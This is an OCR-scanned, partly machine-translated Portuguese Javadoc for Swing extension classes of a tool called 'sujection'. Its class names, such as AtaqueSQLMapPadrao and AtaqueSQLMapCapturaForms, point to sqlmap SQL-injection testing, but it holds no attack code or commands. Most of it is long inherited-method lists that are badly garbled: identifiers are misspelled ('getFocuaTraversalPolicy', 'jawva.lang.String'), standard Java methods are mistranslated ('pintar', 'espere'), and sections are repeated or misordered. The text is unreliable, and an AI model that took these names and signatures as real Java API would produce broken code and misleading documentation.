removelontainerListener, setComponentiOrder, setFocusCycleRoot,
getFocuaTraversalPolicy, setFocuaTraversalPolicyProvider, setlayout,
tranaferFocusBackward, tranaferFocusDownCycle, walidar walidateTree




Métodos herdados da classe java.awt.Compone nt

agdo, adicionar addFocusliastener addComponentlistener,
addHierarchyBoundaslistener, addHierarchylListener, addInputMethodListener,
addEeyListener, addMouseliatener, addMouseMotionlistener, addMouseWheellistener,
limitesa, checkImage, checkImage, coalesceEvents, contém, createlmage,
createlmage, createvVolatileImage, createVolatileImage, disableEventa,
dispatchEvent, habilitacdo, EnableEwvents, enableInputMethods,
firePropertyChange, firePropertyChange, firePropertyChange, firePropertyChange,
firePropertyChange, firePropertywChange, getBackground, getBounds, getColorModel,
getComponentliateners, getComponentOrientation, getCurscr, getDropTarget,
getFocualycleRootAncestor, getFocusliasteners, getFocusTraversalKeysEnabled,
getFont, getGraphicaConfiguration getForeground, getHlierarchyBoundslisteners,
getHierarchyliasteners, getIgnoreRepaint, getInputContext,
getInputMethodlistenera, getInputMethodReguests, getKeylisteners, getlocale,
getlocation, getLocationOnZcreen, getMouseListeners, getMouseMotionlisteners,
getMousePosition, getMousewheellisteners, getWName, GetParent, getPeer,
getPropertyChangelisteners, getPropertyChangelisteners, GetSizee getToolkit,
getTreelock, GotFocus, handleEvent, HasFocus, hide, imageUpdate, dentro,
isBackgroundSet, iasCursorSet, isDisplayable, IsEnabled, isFocusable,
isFocusOwner, isFocusTraversable, isFontSet, isForegroundSet, isLightweight,
isMarimumSizesetr, isMinimumSizeSet, iaPreferredSizeSet, isShowing, iasvalid,
is¥iaible, keyDown keyUp, lista, lista, lista de localizagdo, LostFocus,
mougelown, mousebrag, MouseEnter, mouseExit, MouseMowe mouselUp movimento,
nextFocus, painthll, postEvent, preparelmage, preparelmage,
procesaComponentEvent, procesaFocusEvent, processHierarchyBoundsEvent,
processHierarchyEvent, processlnputMethodEvent, processMousewWwheelEvent, remover,
removeComponentListenar, removeFocusalistener, removeHlerarchyBoundaliatener,
removeHierarchylListener, removelnpuiMethodListener, removeHKeyLiatener,
removeMouselistener, removeMouseMoticnListener, removeMouseWwheellistener,
removePropertyChangeliatener, removeFPropertyChangeliastener, repintar, pintar,
pintar, redimensionar, redimensionar, setBounds, setBounds,
getComponentorientation, setCursor setDropTarget, setFocusable,
getFocuaTraversalKeysaEnabled, setIgnoreRepaint, setlocale, setlocation
getlocation, setMame, setSize, setSire, show, show, tamanho, toString,
tranaferFocus, transferFocualplycle

Métodos herdados da classe java.lang.Object

clone, eguals, finalirze, getClass, hashCode, notificar, notifyAll, espere,
eapere, espere

Detalhe campo

AGENTE
public final static jawva.lang.String AGENTE

Ve ja tambéne
Constantes valores de campo

Detalhes do construtor

AtaqueSQLMapCapturaForms

piblicas AtagueSQLMapCapturaForms ()

Cria nowa forma Ataque SO LapPadrao
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Detalhes do método

executarTeste
public wvolid executarTeste ()

Descricao copiado de inte rface: Extenséo
ESSE Método E QUANDO mvocado o Botio executar teste da nterface de clicado diretor &.

AtaqueSQLMapCapturaFormsSimples

Visio global Pacote Classe Usar Arvore Deprecated indice Ajudar

PREY €1 ASSE  prinima auls FRAMES Sem quadres  Tedas s (lasees
RESUMO: MESTED | CAMPO | COMNSTR | METOINE DETALHE CAMPO| CONSTER | METORG
extensies

AtaqueSQLMapCapturaFormsSimples Classe

java.lang.Object
java.awt.Component
java.awt.Container
Ljavax. awing. JComponent
L javax. awing. JPanel
suijection.extension.ExtensionPanel

|l-extensions. AtagqueSQIMapCapturaFormeSimples

Todas as interfaces imple me ntadas:
java.awtinmge ImageObserver, java. awt. MemuContamer, java. io. Seralizable,
jvax.accessibiity Accessible, ProcessadorDeComando . Externsiio

public class AtagueSQLMapCapturaFormaSimples
eatende ExtensionPanel

Veja també ne
Forma serilizada

Resumo da classe aninhada

Classes aninhadas [/ inte rfaces herdado de javax.swing./Panel classe

javax .awing. JPanel AccessibledPanel

Classes aninhadas / inte rfaces herdadas da classe javax.swing.JComponent

javax . awing. JComponent .AccessibledJComponent

Classes aninhadas / inte rfaces herdadas da classe java.awt.Containe r

java.awt.Container _AccessibleAWTContainer




Classes aninhadas / interfaces herdadas da classe java.awt.Component

java.awt.Component .AccessiblefAWTComponent,
java.awt.Component .Easel ineResizeBehavior, java.awt.Component.BltBuffersStrateqgy,
java.awt.Component .FlipBuf ferStrategy

Resumo campo

Campos herdados da classe javax swing. JComponent

AcceszibleContext, Liatenerlist, TOOL_TIP_TEXT KEY, ul, UNDEFINED CONDITION,
WHEN ARNCEETOFR_OF_FOCUSED_COMPOMENT, WHENW FOCUEED, WHEN_IN_FOCUSED_WINDOW

Campos herdados da classe javaawt.Component

BOTTOM ALIGNMENT, CENTER ALIGHMENT, LEFT_ ALIGHMENT, RIGHT ALIGHMENT
TOF_ALIGHMENT,

Campos herdados da interface de java.awtimage.lmageOhbserver

Abortar, ALLEITS, ERRO, FRAMEBITS, altura, propriedades, SOMEEITS, largura

Resumo construtor

AtagqueSQlMapCapturaFormasSimples ()
Cria nova forma Ataque SO LMapPadrao

Resumo método

imvalidar laxecutarTeste ()

Método ESSE E QUANDO mwvocado o Botio executar teste da nterface de clicado
diretor €.

Métodos herdados da classe sujectione xte nsion. Exte nsionPanel

extengachtivada , extensacbDesativada , interpretakesultado , processaComando

Métodos herdados da classe javax.swing.JPanel

gethccegsibleContext, getUI, getUIClassID, paramString, setUI, updatell

Métodos herdados da classe javax. swing.JComponent

addiotify addAncestorListener, addvetoableChangelistener, computeVisibleRect,
contém, createToolTip, desatiwvar, ativar firePropertyChange, firePropertyChange,
firePropertyChange, fireVetoableChange, getActionForKeyStroke, getActionMap,
getAlignmentX, getAlignmentY, getAncestorlisteners, getAutoscrolls, getBaseline,
getBaselineResireBehavior, getBorder, getBounds, getClientProperty,
getComponent&raphica, getComponentPopupMenu, getlonditionForKeyStroke,
getDebugGraphicadptiona, getDefaultLocale, getFontMetrica, getGraphics,
getHelght, getInheritaPopupMenu, getInputMap, getInputMap, getInputVerifier,
getInsets, getInsets, getlisteners, getlocation, getMaximumSize, getMinimumSize,
getHextFocusableComponent, getPopuplocation, getPreferredsize,
getReglateredieyStrokes, getRootPane, getSize, getToolTipLocation,
getToolTipText, getToolTipText, getToplevelAncestor, getTransferHandler,
getVerifyInputwhenFocuaTarget, getVetoableChangelisteneras, getWVisibleRect,
getwWidth, getX, getyY, grabFocua, isDoubleBuffered, ialightweightComponent,
isManagingFocus, is0Opague, is0OptimizedDrawingEnabled, isPaintingForPrint,
iasPaintingTile, ilsRegquestFocusEnabled, isvalidateRoot, pintura, paintBorder,
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paintChildren, paintComponent, paintImmediately, paintImmediately, imprimir
FRINTALL, printBorder, printChildren, printComponent, procesaComponentKeyEwvent,
processkKeyBinding, processKeyEvent, processMouseEvent, processMouseMotionEvent,
putClientProperty, registerKeyboardAction, registerKeyboardhction,
removeAncestorliastenser, removeNotify removevVetoableChangelistener, pintar,
pintar, regueatDefaultFocus, reguestFocus, reguestFocus, reguestFocusInWindow,
regueatFocus InWindow, resetHeybpardhictions, remodelar, revalidagdo,
scrollRectTovisible, sethActionMap, sethlignmentX, sethlignmentyY, sethutoscrolls,
setBackground, setBorder, setComponentPopupMenu, setDebugGraphicagptions,
setDefaultlocale, setDoubleBuffered, setEnabled, asetFocusTrawversalKeys, setFont,
SetForeground, setInheritsPopupMenu, setInputMap, setInputverifier,
setMaximumSize, setMinimumSize, setMextFocusableComponent, setdpague,
setPreferredSize, setReguestFocusEnabled, setToolTipText, setTranaferHandler,
setlI, setVerifyInputwhenFocusTarget, unregisterBeyboardAction, setvisible,
atualizagdo

Métodos herdados da classe java.awt.Container

adicionar, acrescentar, SO0mMAY, ACrescentar, somar, addContainerlListener,
addImpl, addPropertyChangelistener, addPropertyChangelistener,
applyComponentOrientation, areFocuaTraversalKeyaSet, countComponentsa,
DeliverEvent, dolayout, findComponentit, findComponenthAt, getComponent,
getfomponenthit, getComponenthAt, getComponentlount, GetComponents,
getComponentZorder, getContainerlisteners, getFocusTraversalKeys,
getFocuaTraversalPolicy, Getlayout, getMousePosition, insercdes, inwvalidar,
isAncestor0f, isFocusCycleRoot, iaFocuaCycleRoot,
isFocusTraversalPolicyProvider, isFocuaTraversalPolicySet, layout, lista, lista,
localizar, MinimumSize, paintComponents, PreferredSirze, printComponents,
procedalontainerEvent, procesaEvent, remover, remover, remowverll,
removeContainerlistener, setComponentI0rder, setFocusCycleRoot,
sgetFocuaTraverasalPolicy, setFocusTraveraalPolicyProvider, setlLayout,
tranasferFocusBackward, transferFocusDownCycle, wvalidar wvalidateTree

Métodos herdados da classe java.awt.Compone nt

agdo, adicionar addFocuslistener addComponentlListener,
addHierarchyBoundsListener, addHierarchyListener, addInputMethodListener,
addKeyLiastener, addMouselistener, addMouseMotionlistener, addMouseWheellistener,
limites, checkImage, checkImage, coalesceEvents, contém, createlmage,
createlmage, createvVolatilelImage, createVolatileImage, disableEwventsa,
dispatchEvent, habilitagdo, EnableEventa, enableInputMethods,
firePropertyChange, firePropertylChange, firePropertyChange, firePropertyChange,
firePropertyChange, firePropertyChange, getBackground, getBounds, getColorModel,
getComponentliastenera, getfomponentOrientation, getfursaor, getDropTarget,
getFocusCycleRootAncestor, getFocuslisteners, getFocusTraversalKeysEnabled,
getFont, getGraphicaConfiguration getForeground, getHierarchyBoundaslisteners,
getHlerarchyLiasteners, getlgnoreRepaint, getInputContext,
gqetInputMethodlisteners, getInputMethodRegueats, getKeylListeners, getlocale,
getLlocation, getlocationOnScreen, getMouseliasteners, getMouseMotionlisteners,
getMousePoasition, getMouseWheelliastenera, getName, GetParent, getPeer,
gqetPropertyChangelisteners, getPropertyChangelisteners, GetSizee getToolkit,
gqetTreelock, GotFocus, handleEvent, HasFocus, hide, imageUpdate, dentro,
isBackgroundSet, iaCursorSet, isDisplayable, IsEnabled, isFocusable,
isFocusOwner, isFocusTraversable, isFontSet, isForegroundSet, isLightweight,
isMaximumEizesSet, iaMinimumSizeSet, isPreferredSizesSet, isShowing, isvalid,
igvisible, keyDown keyUp, lista, lista, lista de localizagdo, LostFocus,
mougebown, mouselrag, MouseEnter, mouseExit, MouseMowve mouselp mowvimento,
nextFocud, painthll, postEvent, preparelmage, preparelmage,
processComponentEvent, procesaFocusEvent, processHierarchyBoundsEwvent,
procegsHierarchyEvent, procesalnputMethodEvent, procesaMousewheelEvent, remowver,
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removelomponentlistener, removeFocuslistener, removeHlerarchyBoundslistener,
removeHierarchylistener, removeInputMethodListener, removeKeyListener,
removeMouselistener, removeMouseMotionListener, removeMouseWheellistener,
removeProper tyChangelistener, removePropertyChangelistener, repintar, pintar,
pintar, redimensicnar, redimensiocnar, setBounds, setBounds,
setComponentOrientation, setCursor setDropTarget, setFocusable,
setFocusTraversalKeysEnabled, setIgnoreRepaint, setlocale, setlocation
setlocation, setName, setSirze, setSize, show, show, tamanho, tosString,
tranaferFocua, tranaferFocusUplycle

Métodos herdados da classe java.dang.Object

clone, eguala, finalize, getClass, hashCode, notificar, notifyall, espere,
sapere, eapere

Detalhe campo

AGENTE

public final static jawva.lang.String AGENTE

Veja també ne

Detalhes do construtor

AtaqueSQLMapCapturaForms
piblicas AtagueSQLMapCapturaForms ()

Cria nova forma Ataque S0 LMapPadrao

Detalhes do método

executarTeste
public wvold executarTeste ()

Descricio copiado de interface: Extensdo
ESSE Método E QUAMNDO invocado o Botio executar teste da mterface de clicado diretor €.

Visio global Pacote Classe Usar Arvore Deprecated indice Ajudar

PREY CLASSE  poixims suls FRAMES Sem gquadres  Toedss as Clawe
RESUMO: MESTED | CAMPKY | COMSTER | METODNG DETALHE: CaMPO | COMSTR | METOM0

AtaqueSQLMapPadrao

extensies

Classe AtaqueSQLMapPadrao



java.lang.Object
Ljava. awt. Component
java.awt.Container
L javax. awing. JComponent
|—j:'|.\'.l':'|.5-{. awing. JPanel
Lsujer_‘t ion.extension ExtensionPanel
I—extenaiana.nta.queﬂﬁmapl?adrm

Todas as interfaces imple me ntadas:
jvaawtimage. ImageObserver, java. awt. MemContamer, java.io. Serilizable,
Jvax.accessibiliy Accessible, ProcessadorDeComando | Extensiio

public clasa AtagueSQLMapPadrac
eatende ExtensionPanel

Veja també ne
Forma sernlizada

Resumo da classe aninhada

Classes aninhadas / inte rfaces herdado de javax.swing.JPanel classe

javax.awing. JPanel _AccessibledPranel

Classes aninhadas / inte rfaces herdadas da classe javax.swing..JComponent

javax.awing. JComponent .AccesaibleJComponaent

Classes aninhadas / inte rfaces herdadas da classe java.awt.Container

java.awt.Container _AccessibleAWwTContainer

Classes aninhadas / inte rfaces herdadas da classe java.awt.Component

java.awt.Component .AccessiblerWTComponent ,

java.awt.Component .FlipBuf ferStrategy

java.awt.Component .BaselineResizeBehavior, java.awt.Component.BltBufferStrateqgy,

Resumo campo

Campos herdados da classe javax.swing.JComponent

AccessibleContext, Listenerliat, TOOL_TIP_TEXT KEY, ui, UNDEFIKED CONDITIOHN,
WHEN_ARHNCEETOR_OF_FOCUSED_COMPONENT, WHEM_POCUEED, WHEN_IN FOCUEED_WINDOW

Campos herdados da classe javaawt.Component

BOTTOM ALIGHMENT, CENTER ALIGHNMENT, LEFT_ALIGHMENT, RIGHT ALIGHMENT
TOF_ALIGHNMENT,

Campos herdados da interface de java.awtimage.ImageObse rver

Abortar, ALLEITS, ERRO, FRAMEBITS, altura, propriedades, SOMEBITS, largura
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Resumo construtor

AtaqueSQlMapPadras ()}
Cria nova forma Ataque SO LMapPadrao

Resumo método

irmvalidar |axacutarTes te I8}
Métndo ESSE E QUANDO nvocado o Botio executar teste da mterface de clicado
diretor €.

Métodos herdados da classe sujectione xte nsion. Exte nsionPane |

extensachtivada , extensacDesativada , interpretaResultado , processaComando

Métodos herdados da classe javax.swing. JPanel

getAcceasibleContext, getUI, getUIClassID, paramString, setUI, updateUI

Métodos herdados da classe javax.swing. JComponent

addiotify addAnceatorListener, addvetocableChangelistener, computeVisibleRect,
contém, createToolTip, desativar, atiwvar firePropertyChange, firePropertyChange,
firePropertyChange, fireVetocableChange, getActionForKeyStroke, gethActionMap,
gethlignmenti, gethlignmentyY, getAncestorlisteners, gethAutocacrolla, getBaseline,
getBaselineResizeBehavior, getBorder, getBounds, getClientProperty,
getComponentsraphics, getComponentPopupMenu, getConditionForKeysStroke,
getDebugSraphicadptiona, getbDefaultlocale, getFontMetrics, getGraphics,
getHeight, getInheritsPopupMenu, getInputMap, getInputMap, getInputverifier,
getInsets, getInsets, getlistenera, getlocation, getMaximumSize, getMinimumszize,
getNextFocusableComnponent, getPopuplocation, getPreferredsSize,
getRegiateredieyStrokes, getRootPane, getSirze, getToolTipLocation,
getToolTipText, getToolTipText, getToplevelAncestor, getTranaferHandler,
getverifyInputwhenFocuaTarget, getVetoableChangelisteners, getvisibleRect,
getwidth, getX, getY, grabFocus, isDoubleBuffered, isLightweightComponent,
isManagingFocus, is0pague, ia0ptimizedDrawingEnabled, isPaintingForPrint,
isPaintingTile, isRequestFocusEnabled, isvalidateRoot, pintura, paintBorder,
paintChildren, paintComponent, paintImmediately, paintImmediately, imprimir
FPRINTALL, printBorder, printChildren, printComponent, processComponentKeyEvent,
processkKeyBinding, processKeyEvent, processMouseEvent, processMouseMotionEvent,

putClientProperty, registerKevboardAction, registerKeyboardhrction,
removeAncestorliastener, removeNotify removevVetcableChangelistener, pintar,
pintar, reguestDefaultFocus, regquestFocus, reguestFocus, reguestFocusInWindow,
reguestFocusInWindow, resetKevboardActicons, remodelar, revalidacdo,

gcrol lIRectToViaible, setActionMap, setAlignment¥, setAlignmentyY, setAutoscrolls,
setBackground, setBorder, setComponentPopupMenu, setDebugGraphicasbptions,
setDefaul tlocale, setDoubleBuffered, setEnabled, setFocusTraversalKeya, asetFont,
SetForeground, setInheritsPopupMenu, setInputMap, setInputVerifier,
getMaximumsSize, setMinimumSize, setHextFocusableComponent, setOpague,
setPreferredSize, setReguestFocusEnabled, setToolTipText, setTranaferHandler,
getlUI, setVerifyInputWwhenFocusTarget, unregisterKeyboardhction, setvisible,
atualizagdo
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Métodos herdados da classe java.awt.Containe r

adicionar, acrescentar, Somar, acrescentar, somar, addContainerlistener,
addImpl, addPropertyChangelistener, addPropertyChangeListener,
applyComponentOrientation, areFocusTraversalKeyaSet, countComponentsa,
DeliverEvent, dolayout, findComponenthat, findComponentht, getfomponent,
getComponenthAt, getComponenthAt, getComponentCount, Getlomponentsa
getComponentZ0rder, getContainerListeners, getFocusTraversalKewya
getFocuaTraversalPolicy, Getlayout, getMousePFosition, insercses, inwvalidar,
isAncestor0f, isFocusCycleRoot, isFocusCycleRoot,
isFocusTraversalPolicyProvider, isFocusTraversalPolicySet, layout, lista, lista,
localizar, MinimumSize, paintComponents, PreferredSize, printComponents,
procesafontainerEvent, processEvent, remover, remover, removerll
removelontainerListener, setComponentI0rder, setFocusCycleRool,
getFocuaTraversalPolicy, setFocusaTraversalPolicyProvider, setlLayout,
tranaferFocusBackward, transferFocusDownCycle, walidar walidateTree

Métodos herdados da classe java.awt.Compone nt

agdo, adicionar addFocuslistener addComponentlistener,
addHierarchyBoundaslListener, addHierarchylistener, addInputMethodListener,
addKeyListener, addMouselistener, addMouseMotionlistener, addMouseWheellistener,
limites, checkImage, checkImage, coalesceEvents, contém, createlmage,
createlmage, createVolatilelImage, createVolatileImage, disableEwenta,
dispatchEwvent, habilitacdoc, EnableEwvents, enableInputMethods,
firePropertyChange, firePropertyChange, firePropertyChange, firePropertyChange,
firePropertyChange, firePropertyChange, getBackground, getBounda, getColorModel,
getComponentliatenera, getComponentOrientation, getCuraocr, getDropTarget,
getFocusCycleRootAncesator, getFocusliateners, getFocusTraversalKeysEnabled,
getFont, getGraphicaConfiguration getForeground, getHierarchyBoundsListeners
getHierarchylListeners, getlgnoreRepaint, getInputContext,
getInputMethodlisteners, getInputMethodReguests, getKeylistenera, getlocale,
getlocation, getlocationOnScreen, getMouselListeners, getMouseMotionlisteners,
getMousePosition, getMousewheelListeners, gethame, GetFarent, getPeer,
gqetPropertyChangelistenera, getPropertyChangeliasteners, GetSizee getToolkito,
gqetTreelock, GotFocus, handleEvent, HasFocus, hide, imageUpdate, dentro,
isBackgroundSet, iasCursorSet, isDisplayable, IsEnabled, isFocusable,
iaFocusdwner, lsFocusaTraversable, isFontSet, isForegroundSet, iaLightweilght,
isMaximumSizeSer, isMinimumSizeSet, iaPreferredSizeSet, isEhowing, i1avalid,
iaVisible, keyDown keyUp, lista, lista, lista de localiragdo, LostFocus,
mouaebown, mouselrag, MouseEnter, mouseExit, MouseMowe mouaelUp movimento,
nextFocus, painthll, postEvent, preparelmage, preparelmage,
procesaComponentEvent, processFocusEvent, proceasHierarchyBoundasEvent,
processHierarchyEvent, processlnputMethodEvent, processMousewWwheelEvent, remover,
removeComponentlistener, removeFocuslistener, removeHlerarchyBoundslistener,
removeHierarchyListener, removeInputMethodListener, removeKeyLiatener,
removeMouselistener, removeMouseMotionlListener, removeMouseWwheelListener,
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Detalhes do construtor

AtaqueSQLMapPadrao
piblice AtagueSQIMapPadraoc ()

Cria nova forma Ataque SO LMapPadrao

Detalhes do método

executarTeste

public void executarTeste ()

Desericiio copiado de inte rface: Extensie
ESSE Método E QUANDO invocado o Botio executar teste da mterface de clicado diretor é.

Visio global Pacote Classe Usar Arvore Deprecated Indice Ajudar
PREY CLASSE  présima suls ERAMES Sem quaddres  Tedas ax Clasees
RESUMO: WESTED | CAMPY | CONSTR | METODO DETALHE CAMPMY| CONSTR | METODO

removePropertyChangelistener, removePFropertyChangelistener, repintar, pintar,
pintar, redimensionar, redimensionar, setBounds, setBounds,
setComponentOrientation, setCursocr setDropTarget, setFocusable,
setFocusTraversalKeysEnabled, setIgnoreRepaint, setLocale, setlocation
setlocation, setName, setSize, setSize, show, show, tamanho, toString,
tranaferFocusa, tranaferFocusUplycle

Métodos herdados da classe java.lang.Object

clone, eguals, finalize, getClass, hashCode, notificar, notifyhAll, espere,
edpere, eapere

Class Teste
extensinm

Class Teste

java.lang.Object
extengions. Teate

All Imple me nte d Interfaces:
ProcessadorDeComando, Extersion

public class Teste
extends java.lang.Object
implements Extension

Constructor Summary

Teate [}
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Method Summary

vold laxecutarTeste()
Esse método € nvocado quando o botio executar teste da iterface principal € clicado.

vaid |axtensachtivada |}

Esse método € mwcado quando a extensio € ativada

void |extensacDesativada (}

Esse método € mvocado quando a extensio € desativada. ou seja outra extensfio €
carregada no lugar.

boalean |interpretaBesultads(java. lang.String linha)
Quando o programa executado no console retormna texto, este método € chamado

vold |ppapeasaCemands (java.lang . String linhal
Quando i um comando no comsok a ser processado, esse comando € passado para este
método.

Methods inhe rited from class java.lang.Object

clone, eguals, finalize, getClass, hashCode, notify, notifwAall, teoString, wait,
walt, wait

Constructor Detail

rublic Teste (}

Method Detail

executarTeste

public vold executarTeste ()

Description copied from inte face: Extension
Esse método € mvocado quando o botio executar teste da mterface principal € clicado.

Specified by:

executarTeate N interfice Extenaion

extensaoAtivada

public vold extensachtivada ()

Description copied from interface: Extension
Esse método & mvocado quando a extensfio € ativada

Specified by:

extensanitivada i interfice Extenaion
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extensaoDesativada

public vold extensacDesativadal)

Description copied from inte face: Extension
Esse método € mvocado quando a extersio € desativada, ou seja outra extensio € carregada no
hgar. Isso ndo & chamado quando o programa fecha.

Specified by:

extensanbesat ivada hinterface Extenaion

processaComando
public wolid processaComando (java. lang.String linha)

Description copied from inte iface: ProcessadorbeComande
Quando hd um comando no comsolke a ser processado, esse comando € passado para este método.

Specified by:

processatomandn I interfice Processador DeComando

Parameters:
interpre ta Resultado
public boolean interpretaBesultade(java. lang.String linhal

Description copied from inte iface: ProcessadorbeComands
Quando o programa executado o console retorma texto, este método € chamado

Specified by:
interpretakesul tado Nimerface ProcessadorDeComandn

Parame ters:
linha - texto que o programa executado retormou.

Returns:
True ndica que o resultado veio externo ao nterpretador e foi impresso mo console. False
ndica que o resulado veio do nterpretador e ndo € mpresso no console. Isso € usado para
evitar que o proprio nterpretador envie texto ao console e tente mterpreta-lo.

AtaqueSQLMapPadrao
extensies

TestePanel Classe

jawva.lang.Object
java.awt.Component
|—ja1.ra_ awt.Container
|—ja1.ra.x .awing.JComponent
javax.awing .JPanel
L zujection.extension.ExtensionPanel

L extensions . TestePanel
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Todas as interfaces impleme ntadas:

Java.awtimage. ImageObserver, java. awt. MenuContainer, java.io. Serializable,
jJavax accessibilty. AccessibE, ProcessadorDeComando |, Extensio

public class TestePanel
eatende ExtenajonPanel

Veja també ne
Eonma sermlizada

Resumo da classe aninhada

Classes aninhadas / interfaces herdado de javax.swing. JPanel classe

javax.swing.JPanel.AccesaibledPanel

Classes aninhadas / interfaces herdadas da classe javax.swing..JCompone nt

javax.awing. JComponent. Accedsible JComponent

Classes aninhadas / interfaces herdadas da classe java.awt.Container

java.awt.Container.AccessiblerWTContainer

Classes aninhadas / interfaces herdadas da classe java.awt.Component

java.awt.Component. AccesaiblerWTComponent,
jawva.awt.Component.BaselineResl zeBehavior, java.awt.Component .BEltBufferStrategy,
java.awt.Component.FlipBufferStrategy

Resumo campo

Campos herdados da classe javax.swing.J Compone nt

AcceszaibleContext, LiastenerLiat, TOOL _TIP TEXT_KEY, ul, UNDEFINED_CONDITION,
WHEN_ANCESTOR OF POCUSED COMPONENT, WHEN _FOCUSED, WHEN_IN_FOCUSED _WINDOW

Campos herdados da classe java.awt.Compone nt

BOTTOM_ALIGHMENT, CENTERE ALIGHMENT, LEFT_ALIGNMENT, RIGHT_ ALIGHMENT
TOF_ALIGMMENT,

Campos herdados da interface de java.awtimage ImageObserver

Abortar, ALLEITS, ERRO, FRAMEEITS, altura, propriedades, SOMEBITE, largura

Resumo construtor

TesteFanel ()}

Cria TestePanel nova forma




Resumo método

invalidar |agecutarTeate ()

Meétodo ESSE E QUANDO mvocado o Botio executar teste da mterface de chicado
dretor é.

Métodos herdados da classe sujection.extension. ExtensionPanel

extensachAtivada , extensacbDesativada , interpretakBesultado , processaComando

Métodos herdados da classe javax.swing.JPanel

gethccessiblefontext, getlUI, getUIClasslD, paramString, setUI, updatell

Métodos herdados da classe javax.swing.JCompone nt

addNotify addAncestorlistener, addvetoableChangelistener, computeVisibleRect,
contém, createToolTip, desatiwvar, ativar firePropertyChange, firePropertyChange,
firePropertyChange, fireVetoableChange, getActionForKeyStroke, gethictionMap,
getAlignmentX, gethlignmentyY, getAnceatorlListeners, getAutoacrolls, getBaseline,
getBaselineResizeBehavior, getBorder, getBounds, getClientProperty,
getComponentSraphica, getComponentPopupMenu, getConditionForKeyStroke,
getDebugGraphicadptions, getDefaultlocale, getFontMetrics, getGraphics,
getHelight, getInheritaPopupMenu, getInputMap, getInputMap, getInputvVerifier,
getInsets, getInsets, getlisteners, getlocation, getMaximumZize, getMinimumSize,
getNextFocusableComponent, getPopuplocation, getPreferredSize,
getRegisteredieyStrokes, getRootPane, getSize, getToolTiplocation,
getToolTipText, getToolTipText, getToplevelAncestor, getTransferHandler,
getWVerifyInputwWwhenFocuaTarget, getVetoableChangelisteners, getVisibleRect,
getWidth, get¥, get¥, grabFocus, isDoubleBuffered, isLightwelightComponent,
isManagingFocus, isOpague, isOptimizedDrawingEnabled, isPaintingForPrint,
isPaintingTile, isReguestFocusEnabled, isvalidateRoot, pintura, paintBorder,
paintChildren, paintComponent, paintImmediately, paintImmediately, imprimir
FREINTRALL, printBorder, printChildren, printComponent, processComponentKeyEvent,
processKeyBinding, processKeyEvent, processMouseEvent, processMouseMotionEwvent,

putClientProperty, registerKevboardhction, registerKeyboardAction,
removehAncestorlistener, removeNotify removeVetoableChangelistener, pintar,
pintar, reguestDefaultFocus, reguestFocus, reguestFocus, reguestFocusInWindow,
reguestFocusInWindow, resetKevboardhctiona, remodelar, revalidacdo,
scrollRectTovisible, setActionMap, setZlignmentX, setAlignmentyY, sethAutoscrolls,
setBackground, setBorder, setComponentPopupMenu, setDebugGraphicsOptions,
setDefaultlocale, setDoubleBuffered, setEnabled, setFocusTraversalkeya, setFont,
SetForeground, setInheritaPopupMenu, setInputMap, setInputVerifier,
getMaximumSize, setMinimumSize, setNextFocusableComponent, setOpague,
setPreferrediize, setReguestFocusEnabled, setToolTipText, aetTransferHandler,
setlI, setVerifyInputwhenFocusTarget, unregisterKeyvboardhction, setviaible,
atualizacio
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Métodos he rdados da classe java.awt.Container

adicionar, acrescentar, somar, acrescentar, somar, addContainerlListener,
addImpl, addPropertyChangelistener, addPropertyChangelistener,
applyComponentOrientation, areFocusTraversalKeysSet, countComponents,
DeliverEwent, dolLayout, findComponentit, findComponenthAt, getComponent,
getComponentiAt, getComponentAt, getComponentCount, Getlomponents,
getComponentZorder, getContainerlListenersa, getFocusTravers3alKeys,
getFocuaTraversalPolicy, GetLayout, getMousePpoaition, insergdea, inwvalidar,
isAncestor0f, isFocualycleRoot, isFocusCycleRoot,
isFocusTraversalPolicyProvider, isFocusTrawversalPolicySet, layout, lista, lista,
localizar, MinimumSize, paintComponents, FreferredSize, printComponents,
procesaContainerEvent, processEvent, remover, remover, removehll,
removelontainerlistener, setComponentiorder, setFocustCycleRoot,
setFocuaTraversalPolicy, setFocusTraversalPolicyProwvider, setlayout,
tranaferFocusBackward, transferFocusbDownCycle, validar walidateTree

Meétodos he rdados da classe java.awt.Component

agdo, adicionar addFocuslistener addComponentListener,
addHierarchyBoundslListener, addHierarchylistener, addInputMethodListener,
addKeyLiatener, addMouseListener, addMouseMotionlistener, addMouseWheelliatener,
limites, checklImage, checkImage, coalesceEvents, contém, createlImage,
createlmage, createvolatileImage, createVolatilelImage, disableEwvents,
disgpatchEvent, habilitagdo, EnableEvents, enableInputMethods,
firePropertyChange, firePropertywlhange, firePropertyChange, firePropertyChange,
firePropertyChange, firePropertyChange, getBackground, getBounds, getColorModel,
getfomponentlisteners, getComponentOrientation, getCursor, getDropTarget,
getFocuaCycleRootAncestor, getFocuslisteners, getFocusTraversalKeysEnabled,
getFont, getGraphicaConfigquration getForeground, getHierarchyBoundsListeners,
getHierarchyListeners, getlgnoreRepaint, getInputContext,
getInputMethodListeners, getInputMethodReguests, getKeyliateners, getlocale,
getLocation, getLocationOnScreen, getMouselisteners, getMouseMotionListeners,
getMousePosition, getMouseWheellisteners, getMame, GetParent, getPeer,
getPropertyChangelistenersa, getPropertyChangelisteners, GetSizee getToolkit,
getTreelock, GotFocus, handleEvent, HasFocus, hide, imageUpdate, dentro,
isBackgroundSet, isCursorSet, isDisplayable, IsEnabled, isFocusable,
isFocusOwner, isFocusTraversable, isFontSet, isForegroundSet, isLightweight,
isMaximumSizeSet, iaMinimumSizeSet, isPreferredSizeSet, iaShowing, isvalid,
igvisible, keyDown keyUp, lista, lista, lista de localizagdo, LostFocus,
mousebown, mouseDrag, MouseEnter, mouseExit, MouseMove mouselUp movimento,
nextFocua, painthll, postEvent, preparelmage, preparelmage,
procesaComponentEvent, processFocusEvent, processHierarchyBoundsEvent,
processHierarchyEvent, processlnputMethodEvent, processMouseWheelEvent, remover,
removelomponentlistener, removeFocualistener, removeHlerarchyBoundslistener,
removeHierarchylistener, removelnputMethodlListener, removeKeyListener,
removeMouseliatenser, removeMouseMotionliastener, removeMousewWheeslListener,

removePropertyChangeLlistener, removePropertyChangelistener, repintar, pintar,
pintar, redimensiocnar, redimensicnar, setBounds, setBounds,
getComponentOrientation, setCursor setDropTarget, setFocusable,
getFocuaTraversalKeyaEnabled, setIgnoreRepaint, setlocale, setlLocation
getlocation, setWame, setSize, setSize, show, show, tamanho, toString,
tranaferFocus, transferFocuslplycle

Métodos herdados da classe java.ang.Object

clone, eguala, finalize, getClasa, hashCode, notificar, notifyall, eapere,
eipere, eIdpere
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Detalhes do construtor

TestePanel

piiblico TestePanel ()

Cria TesteParel nova forma

Detalhes do método

